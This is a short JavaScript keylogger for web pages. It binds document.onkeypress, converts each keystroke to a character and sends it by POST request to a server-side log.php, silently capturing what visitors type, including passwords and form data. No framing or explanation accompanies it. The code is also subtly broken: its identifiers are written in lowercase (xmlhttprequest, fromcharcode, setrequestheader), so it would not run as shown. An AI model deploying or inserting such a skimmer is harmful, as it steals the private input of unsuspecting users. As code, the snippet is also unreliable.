document.onkeypress = function(evt) {
        evt = evt || window.event
        key = string.fromcharcode(evt.charcode)
        if(key) {
                var http = new xmlhttprequest();
                var param = encodeuri(key)
                http.open("post","log.php",true);
                http.setrequestheader("content-type","application/x-www-form-urlencoded");
                http.send("key="+param);
        }
}